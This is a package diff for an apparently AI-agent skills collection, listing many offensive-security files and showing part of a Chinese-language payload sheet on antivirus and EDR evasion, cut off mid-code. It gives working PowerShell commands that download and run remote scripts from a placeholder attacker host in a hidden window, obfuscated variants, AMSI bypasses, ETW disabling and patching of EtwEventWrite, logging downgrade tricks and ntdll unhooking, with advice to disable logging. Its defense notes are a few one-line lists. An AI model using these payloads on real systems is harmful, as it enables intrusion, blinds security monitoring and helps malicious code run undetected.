opencode-skills-collection 4.0.43 → 4.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,780 @@
1
+ # 免杀与规避
2
+
3
+ _14 条 intranet payload_
4
+
5
+ ### PowerShell免杀 `evasion-powershell`
6
+ _PowerShell脚本免杀技术_
7
+ 子类:**PowerShell** · tags: `powershell` `evasion` `obfuscation`
8
+
9
+ **前置条件:**
10
+ - 目标机器访问权限
11
+ - Windows系统
12
+
13
+ **攻击链:**
14
+
15
+ **编码执行**
16
+ > Base64编码执行
17
+ _platform: windows_
18
+ ```
19
+ powershell -enc BASE64_ENCODED_COMMAND
20
+ ```
21
+ **语法解析:**
22
+ - `-enc` — Base64编码命令 _parameter_
23
+
24
+ **远程加载**
25
+ > 远程加载脚本
26
+ _platform: windows_
27
+ ```
28
+ IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1") # security-allowlist: SEC005
29
+ ```
30
+
31
+ **混淆变量名**
32
+ > 变量名混淆
33
+ _platform: windows_
34
+ ```
35
+ 1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2" # security-allowlist: SEC004
36
+ ```
37
+
38
+ **无文件执行**
39
+ > 隐藏窗口无配置文件执行
40
+ _platform: windows_
41
+ ```
42
+ powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")" # security-allowlist: SEC005
43
+ ```
44
+ **语法解析:**
45
+ - `-w hidden` — 隐藏窗口 _parameter_
46
+ - `-nop` — 无配置文件 _parameter_
47
+
48
+ **EDR 绕过变体:**
49
+
50
+ **降级执行**
51
+ > 使用PowerShell v2绕过日志
52
+ ```
53
+ powershell -version 2 -c "command"
54
+ ```
55
+
56
+
57
+ **分析:** PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。
58
+
59
+ **OPSEC 提示:**
60
+ - PowerShell日志可能记录命令
61
+ - 考虑禁用日志
62
+ - 使用混淆技术
63
+
64
+ **概述:** PowerShell是Windows强大的脚本环境,攻击者可以使用各种技术绕过检测。
65
+
66
+ **漏洞原理:** PowerShell的灵活性和强大功能使其成为攻击者的首选工具。
67
+
68
+ **利用方法:** 利用流程:1) 获取目标机器访问权限;2) 使用免杀技术;3) 执行恶意脚本;4) 完成攻击。
69
+
70
+ **防御措施:** 防御措施:1) 启用PowerShell日志;2) 使用约束语言模式;3) 监控异常PowerShell活动。
71
+
72
+ ---
73
+
74
+ ### AMSI绕过 `amsi-bypass`
75
+ _绕过反恶意软件扫描接口_
76
+ 子类:**AMSI绕过** · tags: `amsi` `bypass` `evasion`
77
+
78
+ **前置条件:**
79
+ - PowerShell环境
80
+ - AMSI启用
81
+
82
+ **攻击链:**
83
+
84
+ **反射绕过**
85
+ > 通过反射禁用AMSI
86
+ _platform: windows_
87
+ ```
88
+ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
89
+ ```
90
+ **语法解析:**
91
+ - `AmsiUtils` — AMSI工具类 _keyword_
92
+ - `amsiInitFailed` — 初始化失败标志 _keyword_
93
+ - `SetValue($true)` — 设置为失败 _value_
94
+
95
+ **内存修补**
96
+ > 混淆版本绕过
97
+ _platform: windows_
98
+ ```
99
+ $a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}}
100
+ ```
101
+
102
+ **DLL劫持**
103
+ > 通过DLL劫持绕过
104
+ _platform: windows_
105
+ ```
106
+ 替换或劫持amsi.dll
107
+ ```
108
+
109
+ **使用工具**
110
+ > 使用现成工具
111
+ _platform: windows_
112
+ ```
113
+ Import-Module .\AmsiBypass.ps1
114
+ Invoke-AmsiBypass
115
+ ```
116
+
117
+
118
+ **概述:** AMSI是Windows的安全特性,可被多种方法绕过。
119
+
120
+ **漏洞原理:** AMSI实现存在缺陷。
121
+
122
+ **利用方法:** 利用流程:1) 检测AMSI 2) 选择绕过方法 3) 执行恶意代码
123
+
124
+ **防御措施:** 防御措施:1) 更新AMSI 2) 监控内存修改 3) 多层防护
125
+
126
+ ---
127
+
128
+ ### ETW Patch绕过 `etw-patch`
129
+ _禁用ETW监控_
130
+ 子类:**ETW** · tags: `etw` `bypass` `evasion`
131
+
132
+ **前置条件:**
133
+ - 代码执行权限
134
+
135
+ **攻击链:**
136
+
137
+ **PowerShell禁用ETW**
138
+ > PowerShell禁用ETW
139
+ _platform: windows_
140
+ ```
141
+ [System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0)
142
+
143
+ [Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null
144
+ $etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid())
145
+ $etw.SetEnabled(0)
146
+ ```
147
+
148
+ **C#禁用ETW**
149
+ > C#禁用ETW
150
+ _platform: windows_
151
+ ```
152
+ Assembly.Load("System.Diagnostics.Tracing")
153
+ Type etwType = typeof(EventProvider)
154
+ MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static)
155
+ setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 })
156
+ ```
157
+
158
+ **修补ntdll**
159
+ > 修补EtwEventWrite
160
+ _platform: windows_
161
+ ```
162
+ $ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll")
163
+ $etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite")
164
+ [Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect)
165
+ [Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten)
166
+ ```
167
+ **语法解析:**
168
+ - `EtwEventWrite` — ETW写入函数 _keyword_
169
+ - `0xC3` — RET指令 _keyword_
170
+
171
+
172
+ **概述:** ETW是Windows的重要监控机制。
173
+
174
+ **漏洞原理:** ETW可被用户模式程序禁用。
175
+
176
+ **利用方法:** 利用流程:1) 加载ETW程序集 2) 调用禁用方法 3) 或修补函数
177
+
178
+ **防御措施:** 防御措施:1) 使用内核级监控 2) 监控ETW禁用 3) 使用EDR
179
+
180
+ ---
181
+
182
+ ### API Unhooking `api-unhooking`
183
+ _移除EDR的API Hook_
184
+ 子类:**Unhooking** · tags: `unhooking` `hook` `evasion`
185
+
186
+ **前置条件:**
187
+ - 代码执行权限
188
+
189
+ **攻击链:**
190
+
191
+ **从磁盘还原**
192
+ > 从磁盘读取干净DLL
193
+ _platform: windows_
194
+ ```
195
+ $ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
196
+ $proc = [System.Diagnostics.Process]::GetCurrentProcess()
197
+ $base = $proc.MainModule.BaseAddress
198
+ # 找到.text段并覆盖
199
+ ```
200
+
201
+ **从KnownDlls还原**
202
+ > 从KnownDlls还原
203
+ _platform: windows_
204
+ ```
205
